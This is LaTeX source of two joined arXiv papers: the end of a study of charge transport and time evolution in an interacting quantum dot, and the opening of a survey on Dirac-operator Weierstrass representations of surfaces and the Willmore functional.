\caption{(Color online) a) Comparison of FRG results (lines) and tDMRG
data~\cite{BSS} (symbols) of $I(V)$ for $u_L=u_R=0.3B/4$ and $t_L=t_R=0.5B/4$ at
$\epsilon=0$. b) RTRG-FS results for $I(V)$ for $U_{L/R}=(1\pm \gamma)\,0.1/\pi$,
and $\epsilon=0$; analytic result \eqref{eq:flow} inserted in
\eqref{eq:curr} (dashed lines) mostly hidden by
solution of the full flow equations (solid lines); $\gamma=0.75$, $0.5$, $0.25$, $0$ (corresponding to $c^2=21.4$, $7.9$, $2.8$, $1$) from top to bottom.}
\label{fig:fig2}
\end{figure}
\section{Steady-state quantities}The dot occupation in the stationary state
reads
\begin{equation}
\langle\hat n\rangle =\frac{1}{2}+\frac{1}{\pi}
\left[\frac{\Gamma_L}{\Gamma}\,
\text{arctan}\frac{V -2 \epsilon}{\Gamma}-
\frac{\Gamma_R}{\Gamma}\,
\text{arctan}\frac{V +2 \epsilon}{\Gamma}\right],
\label{eq:n}
\end{equation}
and the static susceptibility is defined as $\chi =-\frac{\partial \langle\hat
n \rangle}{\partial\epsilon} |_{\epsilon=0}$. In the symmetric case and at
$V=0$, one obtains $\chi^{\rm{sym}}_{V=0}=2/(\pi \Gamma)$~\cite{chinrg}, which
can be used to define the physical scale $T_K = \frac{2}{\pi}
(\chi^{\rm{sym}}_{V=0})^{-1}$ even away from the scaling limit. The stationary current can directly be
computed from the rates $\Gamma_\alpha$:
\begin{equation}
\label{eq:curr}
I=\frac{1}{\pi}\frac{\Gamma_L\Gamma_R}{\Gamma}
\left[\text{arctan}\frac{V-2 \epsilon}{\Gamma}+
\text{arctan}\frac{V+ 2 \epsilon}{\Gamma}\right].
\end{equation}
For $V\gg\Gamma$ and {\it off resonance,} this expression simplifies to $I
\approx \Gamma_L\Gamma_R/\Gamma$ and thus
\begin{equation}
I(V) \approx
T_K\frac{\left(\frac{T_K}{|V- 2 \epsilon|}\right)^{2U_L}
\left(\frac{T_K}{|V +2 \epsilon|}\right)^{2U_R}}
{c\left(\frac{T_K}{|V - 2 \epsilon|}\right)^{2U_L}
+\frac{1}{c}\left(\frac{T_K}{|V + 2 \epsilon|}\right)^{2U_R}}\frac{c}{1+c^2}.
\label{eq:IVoff}
\end{equation}
Whereas for $U_L=U_R=U$ and $V\gg\epsilon$ (e.g., at the particle-hole symmetric point $\epsilon=0$)
the current is always governed by a power law
$I(V)\propto V^{-2U}$ in agreement with earlier
studies~\cite{D,BSS}, this does not hold in general for asymmetric Coulomb
interactions generically realized in experiments. In this case the two
terms in the denominator of (\ref{eq:IVoff})
are typically of the same order of magnitude. Only if in addition
to $U_L\neq U_R$ the asymmetry in the bare rates is large
($c \ll 1$ or $c \gg 1$), the power-law behavior of $I(V)$ is
recovered (with exponents $2U_L$ or $2U_R$, respectively). In the
{\it on-resonance} case $\epsilon=V/2$ where the conductance $G=dI/dV$
has a maximum (see Fig.~\ref{fig:fig3}),
the current is given by
\begin{equation}
I(V) \approx \frac{\Gamma_L \Gamma_R}{2 \Gamma}
= \frac{T_K}{2}\frac{\left(\frac{T_K}{\Gamma}\right)^{2U_L}
\left(\frac{T_K}{2V}\right)^{2U_R}}
{c\left(\frac{T_K}{\Gamma}\right)^{2U_L}
+\frac{1}{c}\left(\frac{T_K}{2V}\right)^{2U_R}}\frac{c}{1+c^2}.
\label{eq:IVon}
\end{equation}
In contrast to the off-resonance situation, $I$ does not follow a power law
even in the left-right symmetric model (see Fig.~\ref{fig:fig1}).
Only for very large $V$ (or for $c\gg 1$), the second
term in the denominator of (\ref{eq:IVon}) can be neglected and
$I\propto V^{-2U_R}$
\cite{endnote2}. Thus, the voltage $V$ cannot be interpreted as a simple
infrared cutoff both for $\epsilon=\pm V/2$ and $U_L\neq U_R$ and the physics in
non-equilibrium is far more complex than in the linear-response limit \cite{expvalues}.
The analytic results (\ref{eq:flow}), (\ref{eq:IVoff}), and (\ref{eq:IVon})
derived from approximate FRG and RTRG-FS flow equations are confirmed by
solving the full RG equations numerically. The current for the left-right symmetric model
exhibits a power-law decay $I\propto V^{-2U}$ and thus a constant logarithmic
derivative only in the off-resonance case (see Fig.~\ref{fig:fig1}).
Fig.~\ref{fig:fig2}(b) illustrates for $\epsilon=0$ and different
coupling asymmetries that the current from the full RTRG-FS flow
equation is captured by the analytic solution for the rates (\ref{eq:flow})
inserted in (\ref{eq:curr}). Moreover, the FRG compares nicely
with accurate tDMRG reference results obtained for large hoppings
(see Fig.~\ref{fig:fig2}(a)).
Another transport property of experimental interest is the conductance
$G$, which as a function of the gate voltage $\epsilon$ most
importantly features the mentioned resonance at $\epsilon=\pm V/2$ as the
voltage becomes large (see Fig.~\ref{fig:fig3}). As before, both RG
frameworks give agreeing numerical results for arbitrary values of $V/T_K$
and $\epsilon/T_K$, thus altogether providing reliable tools to study quantum
dot systems out of equilibrium.
\begin{figure}[t]
\centering
\includegraphics[width=0.95\linewidth,clip]{fig3.eps}
\caption{(Color online) Conductance $G(\epsilon)=dI/dV$ (lines:
RTRG-FS, symbols: FRG) in the symmetric model with $U_L=U_R=0.1/\pi$.}
\label{fig:fig3}
\end{figure}
\section{Time evolution}The RTRG-FS allows for studying the time evolution
towards the steady state. To this end, we initially prepare the system in a
state described by $\hat{\rho}(t<0)=\hat{\rho}_D^{(0)}\hat{\rho}_L\hat{\rho}_R$,
where $\hat{\rho}_D^{(0)}$ is an arbitrary initial density matrix of the dot and
$\hat{\rho}_{L/R}$ are grandcanonical distributions of the leads. At time
$t=0$, the coupling $H_{c}$ is suddenly switched on and transient dynamics
of $\hat \rho_D$ sets in. The latter can be fully described in terms of
$\Gamma_\alpha$ as a function of a Laplace variable $z$ which has to be
incorporated~\cite{RTlang}. By analytically
solving an approximation to these RG equations, one can obtain closed
integral representations both for the dot occupation $\langle \hat
n(t)\rangle$ and the current $I(t)$ by virtue of inverse Laplace
transform~\cite{PSS}. Numerical results for the time evolution are shown in
Fig.~\ref{fig:fig4}. We restrict ourselves to the left-right symmetric model for
simplicity. The long-time behavior away from resonance (i.e., at
$\epsilon,V,|\epsilon-V/2|\gg T_K, 1/t$) is given by
\begin{figure}[t]
\centering
\includegraphics[width=0.9\linewidth,clip]{fig4.eps}
\caption{(Color online) Time evolution of the dot occupation $\left< \hat n(t)\right>$ and
the current $I(t)$ for $U_L=U_R=0.1/\pi$, $\epsilon=10\,T_K$, and the
initial condition $\langle \hat{n}(0)\rangle=0$ \cite{zerocurrent}. At times $t\le 2/T_K$ we
observe oscillating behavior.}
\label{fig:fig4}
\end{figure}
\begin{equation}
\begin{split}
\langle \hat n(t)\rangle &\approx \bigl(1-e^{-\Gamma_1t}\bigr)\langle\hat
n\rangle-\frac{1}{2\pi}\,e^{-\Gamma_2 t}\,(T_Kt)^{1+2U}\\
&\hspace{-8mm}\times
\left[\frac{\sin\left[(\epsilon\!+\!\tfrac{V}{2})t\right]}
{(\epsilon\!+\!\tfrac{V}{2})^2\,t^2}-
\frac{\pi U}{4}\frac{\cos\left[(\epsilon\!+\!\tfrac{V}{2})t\right]}
{(\epsilon\!+\!\tfrac{V}{2})^2\,t^2} + (V\!\to\!-V)\right]\!,
\end{split}
\end{equation}
\noindent where $\langle\hat n\rangle$ follows from \eqref{eq:n}, and
$\Gamma_1\approx\Gamma$ as well as $\Gamma_2\approx \Gamma_1/2$ are two
decay rates. Whereas $\Gamma_1$ describes the charge relaxation
process, $\Gamma_2$ is the broadening of the local level $\epsilon$ induced by
the coupling to the leads, i.e. it describes the relaxation of nondiagonal
elements of the local density matrix with respect to the charge states.
We note that the dephasing rate $\Gamma_\phi=\Gamma_2-\Gamma_1/2\sim {\mathcal O}(U)$
is due to pure potential fluctuations on the dot and increases for
large Coulomb interactions.
Most notable characteristics of the time evolution of
both $\langle\hat n(t)\rangle$ as well as the current $I(t)$ are that (i) the relaxation
towards the stationary value is governed by both decay rates, (ii) the voltage
appears as an important energy scale for the dynamics setting the frequency of
an oscillatory behavior, and (iii) the exponential decay is accompanied by an
algebraic decay $\propto t^{2U-1}$. The last result is of particular
importance for applications in error correction schemes of quantum information
processing as it contrasts the standard assumption of a purely exponential
decay~\cite{ECS}. We also note that in the short-time dynamics a reversal
of the current can occur (see the dashed-dotted curve in Fig.~\ref{fig:fig4}(b)).
This effect is due to very
strong charge fluctuations in the transient state, thus being impossible in
systems with spin or orbital fluctuations~\cite{PSS}. Another interesting
observation is that in the resonance case (dashed line) current oscillations
are fully damped.
\section{Conclusion}We have studied non-equilibrium transport properties of a spinless
single-level quantum dot coupled to leads via tunneling and Coulomb interaction,
representing a fundamental model to describe the effects of charge fluctuations.
Using two different RG methods we have presented analytic results
in the entire parameter regime and concluded that the
steady-state current $I(V)$ exhibits a power law only in specific cases.
The one of highest experimental relevance is the situation of strong
asymmetries in the tunneling couplings, where we generically observed a power law
for large bias voltages $V$. Furthermore, the time evolution towards the steady state was studied.
We found exponential decay on two different scales accompanied by voltage-dependent
oscillations and power laws with interaction-dependent exponents.
We thank P.~Schmitteckert for providing the DMRG data of
Ref.~\cite{BSS}, and N.~Andrei, B.~Doyon, A.~Tsvelik, and A.~Zawadowski
for discussions. This work was supported by the DFG-FG 723 and 912,
and by the AHV.
|
1,477,468,750,052 | arxiv | \section{Introduction}
In this paper we survey some results and problems related to
global representations of surfaces in three- and four-spaces by
means of solutions to the Dirac equation and application of these constructions
to a study of the Willmore
functional and its generalizations.
This activity started ten years ago \cite{T1}.
In this approach
the Gauss map of a surface is represented in terms of solutions
$\psi$ to the equation
$$
{\cal D} \psi = 0
$$
where ${\cal D}$ is the Dirac operator with potentials
$$
{\cal D} = \left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right) + \left(
\begin{array}{cc}
U & 0 \\
0 & V
\end{array}
\right).
$$
Such a representation for surfaces in ${\mathbb R}^3$ has different forms
and some prehistory however in this explicit form involving the
Dirac equation first it was written down for inducing surfaces
admitting soliton deformations in \cite{K1} where these
deformations were also introduced.
The appearance of an operator with a well-developed spectral
theory makes it possible to use this theory for study problems of
global surface theory. Moreover this approach explains an
importance of the Willmore functional since for surfaces in ${\mathbb R}^3$
it is up to a multiple is the squared $L_2$-norm of the potential
$U=V=\bar{U}$ of the operator ${\cal D}$ \cite{T1}.
The approach to proving the Willmore conjecture for tori proposed
by us in \cite{T1,T2} and based on the theory of spectral curves
(on one energy level) \cite{DKN} led to a very interesting paper
by Schmidt \cite{Schmidt} where a substantial progress was
achieved however the conjecture stayed unproved.
Therewith the spectral curve of ${\cal D}$ with double-periodic
potentials gives rise a notion of the spectral curve of a torus in
${\mathbb R}^3$ \cite{T2}, in which it is encoded a lot of geometrical information on
the surface.
Another approach to obtaining lower bounds for the Willmore
functional involved methods of the inverse spectral problem and
algebraic geometry of curves and led to obtaining such estimates
which are quadratic in the dimension of the kernel of ${\cal D}$. They
were first obtained for spheres of revolution and some their
generalizations and conjectured for all spheres in \cite{T21} by
using the inverse spectral problem and proved in the full
generality of surfaces of all genera in \cite{FLPP} where the
theory of algebraic curves was applied in a fabulous and unusual
way to surface theory.
Later this representation was generalized for surfaces in ${\mathbb R}^4$
\cite{PP,K2} and three-dimensional Lie groups \cite{T3,Berdinsky}.
In \cite{BFLPP,FLPP} it was proposed to consider the
representations of surfaces in ${\mathbb R}^3$ and ${\mathbb R}^4$ in the conformal
setting from the beginning. However for non-commutative noncompact
three-dimensional groups the analogs of the Willmore functional
appear to be of the form
$$
\int \left(\alpha H^2 + \beta \widehat{K} + \gamma \right)d\mu
$$
where $H$ is the mean curvature, $\widehat{K}$ is the sectional
curvature of the ambient space along the tangent pane to a surface
and $d \mu$ is the induced measure on a surface.
We note that the functionals of the similar form
$$
\int \left(\alpha H^2 + \beta K + \gamma \right) d\mu
$$
for surfaces in ${\mathbb R}^3$ are well-known in physics as the Helfrich functionals
\cite{Helfrich} (see also, for instance, \cite{Helf1,Helf2}) and
for generic values of $\alpha,\beta,\gamma$ are not conformally
invariant even for surfaces in ${\mathbb R}^3$. For
surfaces with boundary which are interesting for physical applications
the term containing
the Gauss curvature $K$ is not reduced to a topological term.
Although until recently these representations were applied mostly
to the problems related to the Willmore functional and its
generalizations we think that they can be effectively used for
study other problems of global surface theory.
\section{Representations of surfaces in three- and four-spaces}
\label{sec3}
\subsection{The generalized Weierstrass formulas for surfaces in ${\mathbb R}^3$}
\label{subsec2.1}
The Grassmannians of oriented
$2$-planes in ${\mathbb R}^n$ are diffeomorphic to quadrics in ${\mathbb C} P^{n-1}$.
Indeed, take a $2$-plane and choose a positively oriented
orthonormal basis $u = (u_1,\dots,u_n), v =(v_1,\dots,v_n)$, i.e.
$|u|=|v|, (u,v)=0$, for the plane. It is defined by a vector $y =
u+iv \in {\mathbb C}^n$ such that
$$
y_1^2 + \dots + y_n^2 = [(u,u) - (v,v)] + 2i(u,v) = 0.
$$
The plane determines such a basis up to rotations of the plane by
an angle $\varphi, 0 \leq \varphi \leq 2\pi$, which result in
transformations $y \to re^{i\varphi}y$. Therefore the Grassmannian
$\widetilde{G}_{n,2}$ of oriented $2$-planes in ${\mathbb R}^n$ is
diffeomorphic to the quadric
$$
y_1^2 + \dots + y_n^2 = 0, \ \ \ (y_1: \ldots :y_n) \in {\mathbb C} P^{n-1},
$$
where $(y_1:\dots:y_n)$ are homogeneous coordinates in ${\mathbb C} P^{n-1}$.
The Grassmannian $G_{n,2}$ of unoriented $2$-planes in ${\mathbb R}^n$ is the
quotient of $\widetilde{G}_{n,2}$ with respect to a fixed-point free
antiholomorphic involution $y \to \bar{y}$.
Given an immersed surface
$$
f: \Sigma \to {\mathbb R}^n
$$
with a (local) conformal parameter $z$, the Gauss map of this
surface is
$$
\Sigma \to \widetilde{G}_{n,2} \ \ : \ \ P \to (x^1_z(P) : \ldots :
x^n_z(P))
$$
where $x^1,\dots,x^n$ are the Euclidean coordinates in ${\mathbb R}^n$ and $P
\in \Sigma$.
There are only two cases when the Grassmannian admits a rational
parameterization:
$$
\widetilde{G}_{3,2} = {\mathbb C} P^1, \ \ \ \widetilde{G}_{4,2} = {\mathbb C} P^1
\times {\mathbb C} P^1
$$
and only in these cases we have the Weierstrass representations of
surfaces.
First we consider surfaces in ${\mathbb R}^3$.
The Grassmannian $\widetilde{G}_{3,2}$ is the quadric
$$
y_1^2 + y_2^2 + y_3^2 = 0
$$
admitting the following rational parameterization
\footnote{It is well-known in the number theory as the Lagrange representation of all integer solutions
to the equation $x^2 + y^2 = z^2$.}
$$
y_1 = \frac{i}{2}(b^2 + a^2), \ \ y_2 = \frac{1}{2}(b^2 - a^2), \ \
y_3 = ab, \ \ (a:b) \in {\mathbb C} P^1.
$$
We put
$$
\psi_1 = a, \ \ \ \psi_2 = \bar{b}
$$
and substitute these expressions into the formulas for $x^k_z =
y_k, k=1,2,3$. Since $x^k\in {\mathbb R}$ for all $k$, we have
$$
{\mathrm{Im}\, } x^k_{z\bar{z}} = 0, \ \ \ k=1,2,3.
$$
In terms of $\psi$ this condition takes the form of the Dirac
equation
\begin{equation}
\label{dirac3} {\cal D}\psi = \left[
\left(\begin{array}{cc} 0 & \partial \\
-\bar{\partial} & 0 \end{array}\right) +
\left(\begin{array}{cc} U & 0 \\
0 & U \end{array}\right) \right] \left(\begin{array}{c} \psi_1 \\
\psi_2 \end{array}\right) = 0, \ \ \ U = \bar{U}.
\end{equation}
Moreover if for a complex-valued function $f$ we have ${\mathrm{Im}\, }
f_{\bar{z}} = 0$ then locally we have $f = g_z$ where $g$ is a
real-valued function of the form
$$
g = \int\left[{\mathrm{Re}\, } f dx - {\mathrm{Im}\, } f dy\right].
$$
We have the following theorem.
\begin{theorem}
1) (\cite{K1}) If $\psi$ meets the Dirac equation (\ref{dirac3})
then the formulas
\begin{equation}
\label{int3} x^k = x^k(0) + \int \left( x^k_z dz + \bar{x}^k_z
d\bar{z}\right), \ \ k=1,2,3,
\end{equation}
with
\begin{equation}
\label{int30}
x^1_z = \frac{i}{2}(\bar{\psi}^2_2 + \psi^2_1), \ \ \
\ x^2_z = \frac{1}{2}(\bar{\psi}^2_2 - \psi^2_1), \ \ \ \ x^3_z =
\psi_1\bar{\psi}_2
\end{equation}
give us a surface in ${\mathbb R}^3$.
2) (\cite{T1})
Every smooth surface in ${\mathbb R}^3$ is locally defined
by the formulas (\ref{int3}) and (\ref{int30}).
\end{theorem}
The proof of the second statement is given above and the proof of
the first statement is as follows: by the Dirac equation, the
integrands in (\ref{int3}) are closed forms and, by the Stokes
theorem, the values of integrals are independent of the choice of
a path in a simply connected domain in ${\mathbb C}$.
This representation of a surface is called {\it a Weierstrass
representation}. In the case $U=0$ it reduces to the classical
Weierstrass (or Weierstrass--Enneper) representation of minimal
surfaces.
\footnote[1]{
$^{^\ast}$ The spinor representation of minimal surfaces
originates in lectures of Sullivan in the late 1980s.
It was successively applied to some problems on
minimal surfaces by Kusner, Schmitt, Bobenko et al.
(see [85] and references therein) and this approach
deserves a complimentary survey.}$^{^\ast}$
The following proposition is derived by straightforward
computations.
\begin{proposition}
\label{prop1}
Given a surface $\Sigma$ defined by the formulas (\ref{int3}) and
(\ref{int30}),
1) $z$ is a conformal parameter on the surface and the induced
metric takes the form
$$
ds^2 = e^{2\alpha}dz d\bar{z}, \ \ \ \ e^\alpha = |\psi_1|^2 +
|\psi_2|^2,
$$
2) the potential $U$ of the Dirac operator equals to
$$
U = \frac{He^\alpha}{2},
$$
where $H$ is the mean curvature,
\footnote {We recall that the
normal vector $N$ meets the condition
$$
\Delta f = 2HN,
$$
where $\Delta = 4 e^{-2\alpha}\partial \bar{\partial}$ is the
Laplace--Beltrami operator corresponding on the surface.} i.e. $H
= \frac{\varkappa_1+\varkappa_2}{2}$ with $\varkappa_1,
\varkappa_2$ the principal curvatures of the surface,
3) the Hopf differential equals $A dz^2 = (f_{zz}, N) dz^2$ and
$$
|A|^2 = \frac{(\varkappa_1 - \varkappa_2)^2 e^{4\alpha}}{16},
$$
$$
A = \bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2,
$$
4) the Gauss--Weingarten equations take the form
$$
\left[\frac{\partial}{\partial z} - \left(\begin{array}{cc}
\alpha_z & A e^{-\alpha} \\
-U & 0
\end{array}
\right)\right]\psi = \left[\frac{\partial}{\partial \bar{z}} -
\left(\begin{array}{cc}
0 & U \\
-\bar{A}e^{-\alpha} & \alpha_{\bar{z}}
\end{array}
\right)\right]\psi = 0,
$$
5) the compatibility conditions for the Gauss--Weingarten
equations are the Gauss--Codazzi equations which are
$$
A_{\bar{z}} = (U_z - \alpha_z U)e^{\alpha}, \ \ \
\alpha_{z\bar{z}} + U^2 - A\bar{A}e^{-2\alpha} = 0
$$
and the Gaussian curvature equals $K =
-4e^{-2\alpha}\alpha_{z\bar{z}}$.
\end{proposition}
It is easy to notice that if $\varphi$ meets the Dirac equation
(\ref{dirac3}) then the vector function $\varphi^\ast$ defined by
the formula \begin{equation} \label{ast} \varphi = \left(
\begin{array}{c} \varphi_1 \\ \varphi_2
\end{array} \right) \to \varphi^\ast = \left(\begin{array}{c} -\bar{\varphi}_2
\\ \bar{\varphi}_1 \end{array} \right)
\end{equation}
also meets the Dirac equation.
Let us identify ${\mathbb R}^3$ with the linear space of $2\times 2$
matrices spanned over ${\mathbb R}$ by
$$
e_1 = \left(
\begin{array}{cc}
0 & -i \\
i & 0
\end{array}
\right), \ \ \
e_2 = \left(
\begin{array}{cc}
0 & -1 \\
1 & 0
\end{array}
\right), \ \ \
e_3 = \left(
\begin{array}{cc}
-1 & 0 \\
0 & 1
\end{array}
\right).
$$
We have the orthogonal representation of $SU(2)$ on ${\mathbb R}^3$ which is as follows
$$
e_k \to \rho(S)(e_k) = \overline{S}^\top e_i S = S^\ast e_k S, \ \ \ \ k=1,2,3,
$$
$$
S =
\left(
\begin{array}{cc}
\lambda & \mu \\
-\bar{\mu} & \bar{\lambda}
\end{array}
\right) \in SU(2), \ \ \ \mbox{i.e. $|\lambda|^2 + |\mu|^2 =1$},
$$
which descends through $SO(3) = SU(2)/\{\pm 1\}$.
The following lemma is proved by straightforward computations:
\begin{lemma}
\label{lemma-dilation}
If a surface $\Sigma$ is defined by $\psi$ via the Weierstrass
representation, then
1) $\lambda \psi + \mu \psi^\ast$ defines the surface obtained from $\Sigma$
under the transformation $\rho(S)$ of the ambient space ${\mathbb R}^3$.
2) $\lambda \psi$ with $\lambda \in {\mathbb R}$ defines an image of
$\Sigma$ under the dilation $x \to \lambda x$.
\end{lemma}
{\sc Remark.} The formulas (\ref{dirac3}) and (\ref{int30}) were
introduced in \cite{K1} for inducing surfaces which admit soliton
deformations described by the modified Novikov--Veselov equation.
They originate in some complex-valued formulas derived for other
reasons by Eisenhart \cite{Eisenhart}. Similar representation for
CMC surfaces in terms of the Dirac operator was proposed in 1989
by Abresch (talk in Luminy). It was very soon understood that
these formulas give a local representation of a general surface
(see \cite{T1}; in the proof given above we follow \cite{T3},
later another proof was given in \cite{F1} and from the physical
point of view the representation was described in \cite{Mats}).
Moreover this representation appeared to be equivalent to the
Kenmotsu representation \cite{Kenmotsu} which does not involve
explicitly the Dirac operator.
\subsection{The global Weierstrass representation}
\label{subsec2.2}
In \cite{T1} the global Weierstrass representation was introduced.
For that is necessary to use special $\psi_1$-bundles over
surfaces and to consider the Dirac operator defined on sections of
bundles. In this event
\begin{itemize}
\item
the Willmore functional appears as the integral squared norm of the
potential $U$ and the conformal geometry of a surface is related to
the spectral properties of the corresponding Dirac operator;
\item
since it was proved in \cite{T1} that tori are deformed into tori by
the modified Novikov--Veselov flow and this flow preserves the
Willmore functional, the moduli space of immersed tori is embedded
into the phase space of an integrable system which has the Willmore
functional as an integral of motion.
\end{itemize}
By the uniformization theorem, any closed oriented surface $\Sigma$
is conformally equivalent to a constant curvature surface $\Sigma_0$
and a choice of a conformal parameter $z$ on $\Sigma$ fixes such an
equivalence $\Sigma_0 \to \Sigma$.
Since the quantities
$$
\bar{\psi}_2^2 dz, \ \ \psi_1^2dz, \ \ \psi_1\bar{\psi}_2 dz, \ \
e^{2\alpha}dz d\bar{z}, \ \ H = 2 U e^{-\alpha}
$$
are globally defined on a surface $\Sigma_0$, this leads to the
following description:
\begin{theorem}
[\cite{T1,T21}] Every oriented closed surface $\Sigma$, immersed
in ${\mathbb R}^3$, admits a Weierstrass representation of the form
(\ref{int3})--(\ref{int30}) where $\psi$ is a section of some
bundle $E$ over the surface $\Sigma_0$ which is conformally
equivalent to $\Sigma$ and has constant sectional curvature and
${\cal D} \psi = 0$. Moreover
a) if $\Sigma = {\mathbb C} \cup \{\infty\}$ is a sphere then $\psi$ and
$U$ defined on ${\mathbb C}$ are expanded onto the neighborhood of the
infinity by the formulas:
\begin{equation}
\label{bundle0} (\psi_1,\bar{\psi}_2) \to (z\psi_1,z\bar{\psi}_2),
\ \ U \to |z|^2 U \ \ \ \mbox{as $z \to -z^{-1}$},
\end{equation}
and there is the following asymptotic of $U$:
$$
U = \frac{{\mathrm{const}}}{|z|^2} + O\left(\frac{1}{|z|^3}\right) \ \ \
\mbox{as $z \to \infty$}.
$$
b) if $\Sigma$ is conformally equivalent a torus $\Sigma_0 =
{\mathbb R}^2/\Lambda$, then
$$
U(z+\gamma,\bar{z}+\overline{\gamma}) = U(z,\bar{z}), \ \
\psi(z+\gamma,\bar{z}+\overline{\gamma}) = \mu(\gamma)
\psi(z,\bar{z}) \ \ \ \mbox{for all $\gamma \in \Lambda$}
$$
where $\mu$ is the character of $\Lambda \to \{\pm 1\}$ which
takes values in $\{\pm 1\}$ and determines the bundle
$$
E \stackrel{{\mathbb C}^2}{\longrightarrow} \Sigma_0
$$
such that $(\psi_1,\psi_2)^\perp$ is a section of $E$.
c) if $\Sigma$ is a surface of genus $g \geq 2$, then $\Sigma_0 =
{\cal H}/\Lambda$, where ${\cal H}$ is the Lobachevsky upper-half
plane and $\Lambda$ is a discrete subgroup of $PSL(2,{\mathbb R})$ which
acts on ${\cal H} = \{ {\mathrm{Im}\, } z > 0\} \subset {\mathbb C}$ as
$$
z \to \gamma(z) = \frac{az + b}{cz + d} , \ \ \ \left(
\begin{array}{cc}
a & b \\ c & d
\end{array}
\right) \in SL(2,{\mathbb R}).
$$
The $\psi$-bundle
$$
E \stackrel{{\mathbb C}^2}{\longrightarrow} \Sigma_0
$$
is defined by the monodromy rules
\begin{equation}
\label{bundle} \gamma:(\psi_1, \bar{\psi}_2) \to
(cz+d)(\psi_1,\bar{\psi}_2).
\end{equation}
and
$$
U(\gamma(z),\overline{\gamma(z)}) = |cz+d|^2 U(z,\bar{z}).
$$
The bundle $E$ splits into the sum of two conjugate bundles $E =
E_0 \oplus \bar{E}_0$ which sections are $\psi_1$ and $\psi_2$
respectively.
\end{theorem}
Since $PSL(2,{\mathbb R}) = SL(2,{\mathbb R})/\{\pm 1\}$, an element $\gamma \in
PSL(2,{\mathbb R})$ defines a monodromy up to a sign. The same situation
holds for the torus. Therefore the bundles $E$ are called spin
bundles.
Given a conformal parameter on $\Sigma$, the potential $U$ is fixed
and is called the potential of the representation. Moreover we have
$$
{\cal W}(\Sigma) = 4 \int_\Sigma U^2 dx \wedge dy.
$$
Any section $\psi \in \Gamma(E)$ such that ${\cal D}\psi =0$ defines a
surface which is generically not closed but only have a periodic
Gauss map. Therewith the Weierstrass formulas define an immersion
of the universal covering $\widetilde{\Sigma}$ of $\Sigma$. The
following proposition shows when such an immersion converts into
an immersion a a compact surface.
\begin{proposition}
The Weierstrass representation
defines an immersion of a compact surface $\Sigma$ if and only if
\begin{equation}
\label{period3} \int_{\Sigma_0} \bar{\psi}_1^2 \, d\bar{z} \wedge
\omega = \int_{\Sigma_0} \psi_2^2 \, d\bar{z} \wedge \omega =
\int_{\Sigma_0} \bar{\psi}_1 \psi_2 \, d\bar{z} \wedge \omega = 0
\end{equation}
for any holomorphic differential $\omega$ on $\Sigma_0$.
\end{proposition}
We see that to any immersed torus $\Sigma \subset {\mathbb R}^3$ with a
fixed conformal parameter $z$ it corresponds the Dirac operator
${\cal D}$ with the double-periodic potential
$$
U \ = V \ = \frac{He^\alpha}{2}
$$
where $H$ is the mean curvature and $e^{2\alpha} dz d\bar{z}$ is the
induced metric.
\subsection{Surfaces in three-dimensional Lie groups}
\label{subsec2.3}
For surfaces in three-dimensional Lie groups the Weierstrass
representation is generalized as follows.
Let $G$ be a three-dimensional Lie group with a left-invariant
metric and let
$$
f: \Sigma \to G
$$
be an immersion of a surface $\Sigma$ into $G$. We denote by
${\cal G}$ the Lie algebra of $G$. Let $z=x+iy$ be a conformal
parameter on the surface.
We take the pullback of $TG$ to a ${\cal G}$-bundle over
$\Sigma$: ${\cal G} \to E = f^{-1}(TG) \stackrel{\pi}{\to}
\Sigma$, and consider the differential
$$
d_{\cal A}:\Omega^1(\Sigma;E) \to \Omega^2(\Sigma;E),
$$
which acts on $E$-valued $1$-forms:
$$
d_{\cal A} \omega = d'_{\cal A} \omega + d''_{\cal A} \omega
$$
where $\omega = u dz + u^\ast d\bar{z}$ and
$$
d'_{\cal A} \omega = -\nabla_{\bar{\partial}f} u dz \wedge
d\bar{z}, \ \ \ d''_{\cal A} \omega = \nabla_{\partial f}u^\ast dz
\wedge d\bar{z}.
$$
By straightforward computations we obtain the first derivational
equation
\begin{equation}
\label{d1} d_{\cal A} (df) = 0.
\end{equation}
The tension vector $\tau(f)$ is defined via the equation
$$
d_{\cal A} (\ast df) = f\cdot (e^{2\alpha} \tau(f)) dx \wedge dy =
\frac{i}{2} f\cdot(e^{2\alpha} \tau(f)) dz \wedge d\bar{z}
$$
where $f\cdot\tau(f) = 2HN$, $N$ is the normal vector and $H$ is
the mean curvature. This gives the second derivational equation:
\begin{equation}
\label{d2} d_{\cal A} (\ast df) = i e^{2\alpha} H N dz \wedge
d\bar{z}.
\end{equation}
Since the metric is left invariant we rewrite the derivational
equations in terms of
$$
\Psi = f^{-1}\partial f, \ \ \ \Psi^\ast = f^{-1} \bar{\partial} f
$$
as follows:
\begin{equation}
\label{h1}
\partial\Psi^\ast - \bar{\partial}\Psi + \nabla_{\Psi}\Psi^\ast -
\nabla_{\Psi^\ast}\Psi = 0,
\end{equation}
\begin{equation}
\label{h2}
\partial\Psi^\ast + \bar{\partial}\Psi + \nabla_{\Psi}\Psi^\ast +
\nabla_{\Psi^\ast}\Psi = e^{2\alpha} H f^{-1}(N).
\end{equation}
The equation \eqref{h1} is equivalent to \eqref{d1} and the
equation \eqref{h2} is equivalent to \eqref{d2}.
We take an orthonormal basis $e_1,e_2,e_3$ in the Lie algebra
${\cal G}$ of the group $G$ and decompose $\Psi$ and $\Psi^\ast$
in this basis:
$$
\Psi = \sum_{k=1}^3 Z_k e_k, \ \ \ \Psi^\ast = \sum_{k=1}^3
\bar{Z}_k e_k.
$$
Then the equations \eqref{h1} and \eqref{h2} take the form
\begin{equation}
\label{z1} \sum_j (\partial \bar{Z}_j - \bar{\partial} Z_j) e_j +
\sum_{j,k} ( Z_j \bar{Z}_k - \bar{Z}_j Z_k) \nabla_{e_j}e_k = 0,
\end{equation}
\begin{equation}
\label{z2}
\begin{split}
\sum_j (\partial \bar{Z}_j + \bar{\partial} Z_j) e_j +
\sum_{j,k} (Z_j \bar{Z}_k + \bar{Z}_j Z_k) \nabla_{e_j}e_k = \\
2iH \left[ (\bar{Z}_2 Z_3 - Z_2 \bar{Z}_3) e_1 + (\bar{Z}_3 Z_1 -
Z_3 \bar{Z}_1) e_2 + (\bar{Z}_1 Z_2 - Z_1 \bar{Z}_2) e_3 \right].
\end{split}
\end{equation}
Here we assumed that the basis $\{e_1,e_2,e_3\}$ is positively
oriented and therefore
$$
f^{-1}(N) =
$$
$$
2 i e^{-2\alpha} \left[ (\bar{Z}_2 Z_3 - Z_2
